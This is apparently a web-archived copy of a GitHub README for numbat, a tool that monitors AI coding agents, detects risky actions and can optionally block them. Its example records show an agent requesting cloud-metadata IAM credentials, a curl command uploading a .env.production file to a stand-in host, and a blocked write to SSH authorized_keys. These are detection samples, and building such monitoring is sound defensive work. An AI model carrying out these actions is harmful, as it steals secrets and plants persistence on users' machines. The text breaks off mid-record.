{"id":22910,"date":"2011-07-15T00:59:40","date_gmt":"2011-07-15T00:59:40","guid":{"rendered":"https:\/\/scannn.com\/perplexityai-numbat-visibility-into-ai-agent-activity-on-endpoints-with-on-device-detection-optional-pre-action-blocking-and-forensic-reconstruction-%c2%b7-github\/"},"modified":"2011-07-15T00:59:40","modified_gmt":"2011-07-15T00:59:40","slug":"perplexityai-numbat-visibility-into-ai-agent-activity-on-endpoints-with-on-device-detection-optional-pre-action-blocking-and-forensic-reconstruction-%c2%b7-github","status":"publish","type":"post","link":"https:\/\/scannn.com\/lv\/perplexityai-numbat-visibility-into-ai-agent-activity-on-endpoints-with-on-device-detection-optional-pre-action-blocking-and-forensic-reconstruction-%c2%b7-github\/","title":{"rendered":"perplexityai\/numbat: Visibility into AI agent activity on endpoints, with on-device detection, optional pre-action blocking, and forensic reconstruction. \u00b7 GitHub"},"content":{"rendered":"\n<div id=\"\">\n<p dir=\"auto\">Endpoint visibility into AI agent activity, with local detection, optional<br \/>\npre-action blocking, and forensic reconstruction.<\/p>\n<p dir=\"auto\">numbat observes supported desktop, CLI, IDE, and gateway agents through local<br \/>\nhooks and plugins, OTLP\/HTTP logs, and on-disk session artifacts. Live and<br \/>\nat-rest activity is normalized into one event model and evaluated by the same<br \/>\nCEL rule engine. Detection runs locally; records can be written to stdout or a<br \/>\nlocal file and optionally delivered over HTTP.<\/p>\n<p dir=\"auto\">The <a href=\"http:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/agent-coverage.md#matrix\">coverage matrix<\/a> is authoritative for each<br \/>\nhost and surface. Blocking is off by default and limited to supported<br \/>\nsynchronous pre-action hooks; see the <a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/enforcement.md\">enforcement guide<\/a>.<\/p>\n<ul dir=\"auto\">\n<li><strong>Live monitoring<\/strong> through hooks, plugins, and OTLP\/HTTP log exporters.<\/li>\n<li><strong>Endpoint-local detection<\/strong> with built-in CEL rules, multi-step sequence rules,<br \/>\nand custom YAML rules.<\/li>\n<li><strong>Opt-in blocking<\/strong> through supported pre-action hooks. Enforce mode is<br \/>\ndisabled by default and applies only to rules marked <code>enforce: true<\/code>; all<br \/>\nshipped rules are monitor-only.<\/li>\n<li><strong>Forensic reconstruction<\/strong> from supported on-disk session artifacts, without<br \/>\nprior numbat instrumentation.<\/li>\n<li><strong>Versioned NDJSON records<\/strong> for events, findings, enforcement decisions,<br \/>\nindicators, and scan summaries. Events and findings retain source references;<br \/>\n<a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/schema\/v0.2.0\">JSON Schemas<\/a> define the wire format.<\/li>\n<li><strong>Read-only artifact scanning<\/strong> with secret redaction. Normal record output<br \/>\nnever includes a complete raw transcript; adding raw evidence files to a case<br \/>\nbundle is opt-in.<\/li>\n<li><strong>Inventory and investigation tools<\/strong> for read-only agent discovery,<br \/>\nper-session timelines, and portable case bundles with SHA-256 manifests.<\/li>\n<li><strong>Single-binary distribution<\/strong> for macOS, Linux, and Windows, built without<br \/>\ncgo.<\/li>\n<\/ul>\n<p dir=\"auto\"><a href=\"https:\/\/github.com\/perplexityai\/numbat\/releases\">Download a release<\/a> for macOS, Linux,<br \/>\nor Windows on amd64 or arm64. Each release includes SHA-256 checksums. You can<br \/>\nalso install with Go 1.26.5 or newer:<\/p>\n<div class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"go install github.com\/perplexityai\/numbat\/cmd\/numbat@latest\">\n<pre class=\"notranslate\"><code>go install github.com\/perplexityai\/numbat\/cmd\/numbat@latest\n<\/code><\/pre>\n<\/div>\n<details>\n<summary>Build a static binary from a checkout<\/summary>\n<p dir=\"auto\">macOS or Linux:<\/p>\n<div class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"CGO_ENABLED=0 go build -trimpath -o numbat .\/cmd\/numbat\">\n<pre class=\"notranslate\"><code>CGO_ENABLED=0 go build -trimpath -o numbat .\/cmd\/numbat\n<\/code><\/pre>\n<\/div>\n<p dir=\"auto\">Windows PowerShell:<\/p>\n<div class=\"highlight highlight-source-powershell notranslate position-relative overflow-auto\" dir=\"auto\" data-snippet-clipboard-copy-content=\"$env:CGO_ENABLED = &quot;0&quot;&#10;go build -trimpath -o numbat.exe .\/cmd\/numbat\">\n<pre><span class=\"pl-smi\">$<span class=\"pl-c1\">env:<\/span>CGO_ENABLED<\/span> <span class=\"pl-k\">=<\/span> <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>0<span class=\"pl-pds\">\"<\/span><\/span>\ngo build <span class=\"pl-k\">-<\/span>trimpath <span class=\"pl-k\">-<\/span>o <span class=\"pl-c1\">numbat.exe<\/span> .<span class=\"pl-k\">\/<\/span>cmd<span class=\"pl-k\">\/<\/span>numbat<\/pre>\n<\/div>\n<\/details>\n<p dir=\"auto\">These read-only commands do not install hooks or change agent configuration:<\/p>\n<div class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"numbat agents&#10;# scan all discovered parser-backed agents&#10;numbat scan&#10;# or limit automatic discovery to Codex&#10;numbat scan --agent codex\">\n<pre class=\"notranslate\"><code>numbat agents\n# scan all discovered parser-backed agents\nnumbat scan\n# or limit automatic discovery to Codex\nnumbat scan --agent codex\n<\/code><\/pre>\n<\/div>\n<p dir=\"auto\">Install live monitoring for any agent with<br \/>\n<a href=\"http:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/agent-coverage.md#matrix\">live-capture support<\/a>; the commands below use<br \/>\nCodex as a concrete example. Hooks start in monitor-only mode. <code>--emit all<\/code><br \/>\nwrites events, findings, indicators, and applicable enforcement decisions to<br \/>\n<code>~\/.numbat\/records.ndjson<\/code>.<\/p>\n<div class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"numbat hook install --agent codex --emit all&#10;numbat hook status --agent codex\">\n<pre class=\"notranslate\"><code>numbat hook install --agent codex --emit all\nnumbat hook status --agent codex\n<\/code><\/pre>\n<\/div>\n<blockquote>\n<p dir=\"auto\"><strong>Hook trust:<\/strong> Requirements vary by agent and scope. For the Codex user hook<br \/>\nabove, review and trust its current definition in <code>\/hooks<\/code> (CLI) or<br \/>\nSettings &gt; Hooks (app), including after changes such as <code>--enforce<\/code>. Codex<br \/>\nhooks installed with <code>--managed<\/code> are trusted by policy. <code>hook status<\/code> verifies<br \/>\nconfiguration, not execution or delivery. See the<br \/>\n<a href=\"http:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/deployment.md#hook-trust-and-activation\">deployment guide<\/a> for other<br \/>\nagents and scopes.<\/p>\n<\/blockquote>\n<p dir=\"auto\">All shipped rules are monitor-only. To enforce a detection, copy its complete<br \/>\n<a href=\"https:\/\/github.com\/perplexityai\/numbat\/blob\/main\/rules\">shipped YAML<\/a> into a controlled operator directory, keep the same id,<br \/>\nadd <code>enforce: true<\/code>, and bump its version. Validate and install that effective<br \/>\npolicy for a supported pre-action hook:<\/p>\n<div class=\"snippet-clipboard-content notranslate position-relative overflow-auto\" data-snippet-clipboard-copy-content=\"numbat rules check --rules-dir .\/numbat-policy&#10;numbat hook install --agent codex --emit all \\&#10;  --rules-dir .\/numbat-policy --enforce\">\n<pre class=\"notranslate\"><code>numbat rules check --rules-dir .\/numbat-policy\nnumbat hook install --agent codex --emit all \\\n  --rules-dir .\/numbat-policy --enforce\n<\/code><\/pre>\n<\/div>\n<details>\n<summary><strong>Hook event<\/strong> (OpenClaw cloud-metadata browser request)<\/summary>\n<p dir=\"auto\">A controlled OpenClaw <code>before_tool_call<\/code> callback passed through numbat&#8217;s<br \/>\ngenerated plugin becomes a typed network event with its proposed destination<br \/>\nand execution context. It also matches the high-severity cloud-metadata rule.<\/p>\n<div class=\"highlight highlight-source-json notranslate position-relative overflow-auto\" dir=\"auto\" data-snippet-clipboard-copy-content=\"{&#10;  &quot;actor&quot;: &quot;assistant&quot;,&#10;  &quot;confidence&quot;: &quot;medium&quot;,&#10;  &quot;content_preview&quot;: &quot;http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/&quot;,&#10;  &quot;endpoint&quot;: {&#10;    &quot;hostname&quot;: &quot;developer-workstation&quot;, &quot;os&quot;: &quot;linux&quot;, &quot;arch&quot;: &quot;arm64&quot;,&#10;    &quot;username&quot;: &quot;node&quot;, &quot;uid&quot;: &quot;1000&quot;&#10;  },&#10;  &quot;event_id&quot;: &quot;hook-run-20260724T151125.690671167-fa0a4148090fa1ba&quot;,&#10;  &quot;event_type&quot;: &quot;network.indicator&quot;,&#10;  &quot;evidence&quot;: {&quot;artifact_type&quot;: &quot;hook&quot;},&#10;  &quot;project_path&quot;: &quot;\/workspace\/acme-api&quot;,&#10;  &quot;record_type&quot;: &quot;event&quot;,&#10;  &quot;run_id&quot;: &quot;run-20260724T151125.690671167-fa0a4148090fa1ba&quot;,&#10;  &quot;schema_version&quot;: &quot;0.2.0&quot;,&#10;  &quot;session_id&quot;: &quot;agent:research:metadata-review&quot;,&#10;  &quot;source_agent&quot;: &quot;openclaw&quot;,&#10;  &quot;source_type&quot;: &quot;hook&quot;,&#10;  &quot;sub_agent&quot;: &quot;research&quot;,&#10;  &quot;tags&quot;: [&quot;network&quot;],&#10;  &quot;timestamp&quot;: &quot;2026-07-24T15:20:00Z&quot;,&#10;  &quot;tool_call_id&quot;: &quot;tool-cloud-metadata-01&quot;,&#10;  &quot;tool_name&quot;: &quot;browser&quot;,&#10;  &quot;url&quot;: &quot;http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/&quot;&#10;}\">\n<pre>{\n  <span class=\"pl-ent\">\"actor\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>assistant<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"confidence\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>medium<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"content_preview\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"endpoint\"<\/span>: {\n    <span class=\"pl-ent\">\"hostname\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>developer-workstation<span class=\"pl-pds\">\"<\/span><\/span>, <span class=\"pl-ent\">\"os\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>linux<span class=\"pl-pds\">\"<\/span><\/span>, <span class=\"pl-ent\">\"arch\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>arm64<span class=\"pl-pds\">\"<\/span><\/span>,\n    <span class=\"pl-ent\">\"username\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>node<span class=\"pl-pds\">\"<\/span><\/span>, <span class=\"pl-ent\">\"uid\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>1000<span class=\"pl-pds\">\"<\/span><\/span>\n  },\n  <span class=\"pl-ent\">\"event_id\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>hook-run-20260724T151125.690671167-fa0a4148090fa1ba<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"event_type\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>network.indicator<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"evidence\"<\/span>: {<span class=\"pl-ent\">\"artifact_type\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>hook<span class=\"pl-pds\">\"<\/span><\/span>},\n  <span class=\"pl-ent\">\"project_path\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>\/workspace\/acme-api<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"record_type\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>event<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"run_id\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>run-20260724T151125.690671167-fa0a4148090fa1ba<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"schema_version\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>0.2.0<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"session_id\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>agent:research:metadata-review<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"source_agent\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>openclaw<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"source_type\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>hook<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"sub_agent\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>research<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"tags\"<\/span>: [<span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>network<span class=\"pl-pds\">\"<\/span><\/span>],\n  <span class=\"pl-ent\">\"timestamp\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>2026-07-24T15:20:00Z<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"tool_call_id\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>tool-cloud-metadata-01<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"tool_name\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>browser<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"url\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/<span class=\"pl-pds\">\"<\/span><\/span>\n}<\/pre>\n<\/div>\n<\/details>\n<details>\n<summary><strong>Sequence finding<\/strong> (Claude Code hook sequence)<\/summary>\n<p dir=\"auto\">A controlled replay of two contract-valid Claude Code pre-action callbacks in<br \/>\none session\u2014secret-file access, then a proposed upload\u2014produced this finding.<br \/>\nThe rule also runs during artifact scans; the finding does not prove either<br \/>\naction completed.<\/p>\n<div class=\"highlight highlight-source-json notranslate position-relative overflow-auto\" dir=\"auto\" data-snippet-clipboard-copy-content=\"{&#10;  &quot;cited_event_ids&quot;: [&#10;    &quot;hook-run-20260724T143947.587655000-2030b2e550b19261&quot;,&#10;    &quot;hook-run-20260724T144025.562634000-e18f9d375ddb1c1b&quot;&#10;  ],&#10;  &quot;confidence&quot;: &quot;medium&quot;,&#10;  &quot;detected_at&quot;: &quot;2026-07-24T14:40:29.226642Z&quot;,&#10;  &quot;endpoint&quot;: {&#10;    &quot;hostname&quot;: &quot;developer-workstation&quot;, &quot;os&quot;: &quot;linux&quot;, &quot;arch&quot;: &quot;arm64&quot;,&#10;    &quot;username&quot;: &quot;agent&quot;, &quot;uid&quot;: &quot;10001&quot;&#10;  },&#10;  &quot;evidence_refs&quot;: [&#10;    {&quot;artifact_type&quot;: &quot;hook&quot;},&#10;    {&quot;artifact_type&quot;: &quot;hook&quot;}&#10;  ],&#10;  &quot;finding_id&quot;: &quot;fnd-01be6f0c659d060e7c993a73&quot;,&#10;  &quot;observed_actor&quot;: &quot;assistant&quot;,&#10;  &quot;observed_command&quot;: &quot;curl --data-binary @\/workspace\/acme-api\/.env.production https:\/\/collector.example.invalid\/ingest&quot;,&#10;  &quot;observed_event_type&quot;: &quot;command.exec&quot;,&#10;  &quot;project_path_hash&quot;: &quot;sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0&quot;,&#10;  &quot;record_type&quot;: &quot;finding&quot;,&#10;  &quot;redacted&quot;: false,&#10;  &quot;rule_id&quot;: &quot;chain.secret_read_then_egress&quot;,&#10;  &quot;rule_version&quot;: &quot;1.4&quot;,&#10;  &quot;run_id&quot;: &quot;run-20260724T144025.562634000-e18f9d375ddb1c1b&quot;,&#10;  &quot;schema_version&quot;: &quot;0.2.0&quot;,&#10;  &quot;session_id&quot;: &quot;readme-live-sequence-01&quot;,&#10;  &quot;severity&quot;: &quot;high&quot;,&#10;  &quot;source_agent&quot;: &quot;claude-code&quot;,&#10;  &quot;source_type&quot;: &quot;hook&quot;,&#10;  &quot;tags&quot;: [&quot;attack.t1048&quot;, &quot;attack.t1552&quot;, &quot;attack.t1567&quot;],&#10;  &quot;timestamp&quot;: &quot;2026-07-24T14:40:25.562634Z&quot;,&#10;  &quot;title&quot;: &quot;Secret-file access followed by data-bearing egress&quot;&#10;}\">\n<pre>{\n  <span class=\"pl-ent\">\"cited_event_ids\"<\/span>: [\n    <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>hook-run-20260724T143947.587655000-2030b2e550b19261<span class=\"pl-pds\">\"<\/span><\/span>,\n    <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>hook-run-20260724T144025.562634000-e18f9d375ddb1c1b<span class=\"pl-pds\">\"<\/span><\/span>\n  ],\n  <span class=\"pl-ent\">\"confidence\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>medium<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"detected_at\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>2026-07-24T14:40:29.226642Z<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"endpoint\"<\/span>: {\n    <span class=\"pl-ent\">\"hostname\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>developer-workstation<span class=\"pl-pds\">\"<\/span><\/span>, <span class=\"pl-ent\">\"os\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>linux<span class=\"pl-pds\">\"<\/span><\/span>, <span class=\"pl-ent\">\"arch\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>arm64<span class=\"pl-pds\">\"<\/span><\/span>,\n    <span class=\"pl-ent\">\"username\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>agent<span class=\"pl-pds\">\"<\/span><\/span>, <span class=\"pl-ent\">\"uid\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>10001<span class=\"pl-pds\">\"<\/span><\/span>\n  },\n  <span class=\"pl-ent\">\"evidence_refs\"<\/span>: [\n    {<span class=\"pl-ent\">\"artifact_type\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>hook<span class=\"pl-pds\">\"<\/span><\/span>},\n    {<span class=\"pl-ent\">\"artifact_type\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>hook<span class=\"pl-pds\">\"<\/span><\/span>}\n  ],\n  <span class=\"pl-ent\">\"finding_id\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>fnd-01be6f0c659d060e7c993a73<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"observed_actor\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>assistant<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"observed_command\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>curl --data-binary @\/workspace\/acme-api\/.env.production https:\/\/collector.example.invalid\/ingest<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"observed_event_type\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>command.exec<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"project_path_hash\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"record_type\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>finding<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"redacted\"<\/span>: <span class=\"pl-c1\">false<\/span>,\n  <span class=\"pl-ent\">\"rule_id\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>chain.secret_read_then_egress<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"rule_version\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>1.4<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"run_id\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>run-20260724T144025.562634000-e18f9d375ddb1c1b<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"schema_version\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>0.2.0<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"session_id\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>readme-live-sequence-01<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"severity\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>high<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"source_agent\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>claude-code<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"source_type\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>hook<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"tags\"<\/span>: [<span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>attack.t1048<span class=\"pl-pds\">\"<\/span><\/span>, <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>attack.t1552<span class=\"pl-pds\">\"<\/span><\/span>, <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>attack.t1567<span class=\"pl-pds\">\"<\/span><\/span>],\n  <span class=\"pl-ent\">\"timestamp\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>2026-07-24T14:40:25.562634Z<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"title\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>Secret-file access followed by data-bearing egress<span class=\"pl-pds\">\"<\/span><\/span>\n}<\/pre>\n<\/div>\n<\/details>\n<details>\n<summary><strong>Enforcement decision<\/strong> (Codex <code>authorized_keys<\/code> write)<\/summary>\n<p dir=\"auto\">With a same-id operator replacement of <code>persistence.ssh_authorized_keys<\/code><br \/>\nmarked <code>enforce: true<\/code> at version <code>1.3<\/code>, a Codex <code>create_file<\/code> pre-action<br \/>\nmatched the rule and numbat selected the agent-specific deny response. See<br \/>\n<a href=\"http:\/\/github.com\/perplexityai\/numbat\/blob\/main\/docs\/enforcement.md#decisions\">Decisions<\/a> for delivery and enforcement semantics.<\/p>\n<div class=\"highlight highlight-source-json notranslate position-relative overflow-auto\" dir=\"auto\" data-snippet-clipboard-copy-content=\"{&#10;  &quot;action_event_ids&quot;: [&#10;    &quot;hook-run-20260724T134723.452402000-6886c86cefad57b8&quot;&#10;  ],&#10;  &quot;decision&quot;: &quot;deny&quot;,&#10;  &quot;decision_id&quot;: &quot;enf-5132cfdb6ae4d57350ec734d&quot;,&#10;  &quot;deny_rule_id&quot;: &quot;persistence.ssh_authorized_keys&quot;,&#10;  &quot;deny_rule_version&quot;: &quot;1.3&quot;,&#10;  &quot;endpoint&quot;: {&#10;    &quot;hostname&quot;: &quot;developer-workstation&quot;, &quot;os&quot;: &quot;linux&quot;, &quot;arch&quot;: &quot;arm64&quot;,&#10;    &quot;username&quot;: &quot;agent&quot;, &quot;uid&quot;: &quot;10001&quot;&#10;  },&#10;  &quot;finding_ids&quot;: [&#10;    &quot;fnd-f467992648daec0a927b6de7&quot;&#10;  ],&#10;  &quot;mode&quot;: &quot;enforce&quot;,&#10;  &quot;model&quot;: &quot;gpt-5.6-codex&quot;,&#10;  &quot;reason&quot;: &quot;enforce_rule_match&quot;,&#10;  &quot;record_type&quot;: &quot;enforcement&quot;,&#10;  &quot;rule_ids&quot;: [&#10;    &quot;persistence.ssh_authorized_keys&quot;&#10;  ],&#10;  &quot;run_id&quot;: &quot;run-20260724T134723.452402000-6886c86cefad57b8&quot;,&#10;  &quot;schema_version&quot;: &quot;0.2.0&quot;,&#10;  &quot;session_id&quot;: &quot;sess-doc-codex-enforce-01&quot;,&#10;  &quot;source_agent&quot;: &quot;codex&quot;,&#10;  &quot;source_type&quot;: &quot;hook&quot;,&#10;  &quot;timestamp&quot;: &quot;2026-07-24T13:47:23.502411Z&quot;,&#10;  &quot;tool_call_id&quot;: &quot;tool-doc-codex-enforce-01&quot;,&#10;  &quot;tool_name&quot;: &quot;create_file&quot;&#10;}\">\n<pre>{\n  <span class=\"pl-ent\">\"action_event_ids\"<\/span>: [\n    <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>hook-run-20260724T134723.452402000-6886c86cefad57b8<span class=\"pl-pds\">\"<\/span><\/span>\n  ],\n  <span class=\"pl-ent\">\"decision\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>deny<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"decision_id\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>enf-5132cfdb6ae4d57350ec734d<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"deny_rule_id\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>persistence.ssh_authorized_keys<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"deny_rule_version\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>1.3<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"endpoint\"<\/span>: {\n    <span class=\"pl-ent\">\"hostname\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>developer-workstation<span class=\"pl-pds\">\"<\/span><\/span>, <span class=\"pl-ent\">\"os\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>linux<span class=\"pl-pds\">\"<\/span><\/span>, <span class=\"pl-ent\">\"arch\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>arm64<span class=\"pl-pds\">\"<\/span><\/span>,\n    <span class=\"pl-ent\">\"username\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>agent<span class=\"pl-pds\">\"<\/span><\/span>, <span class=\"pl-ent\">\"uid\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>10001<span class=\"pl-pds\">\"<\/span><\/span>\n  },\n  <span class=\"pl-ent\">\"finding_ids\"<\/span>: [\n    <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>fnd-f467992648daec0a927b6de7<span class=\"pl-pds\">\"<\/span><\/span>\n  ],\n  <span class=\"pl-ent\">\"mode\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>enforce<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"model\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>gpt-5.6-codex<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"reason\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>enforce_rule_match<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"record_type\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>enforcement<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"rule_ids\"<\/span>: [\n    <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>persistence.ssh_authorized_keys<span class=\"pl-pds\">\"<\/span><\/span>\n  ],\n  <span class=\"pl-ent\">\"run_id\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>run-20260724T134723.452402000-6886c86cefad57b8<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"schema_version\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>0.2.0<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"session_id\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>sess-doc-codex-enforce-01<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"source_agent\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>codex<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"source_type\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>hook<span class=\"pl-pds\">\"<\/span><\/span>,\n  <span class=\"pl-ent\">\"timestamp\"<\/span>: <span class=\"pl-s\"><span class=\"pl-pds\">\"<\/span>2026-07-24T13:47:23.502411Z<span 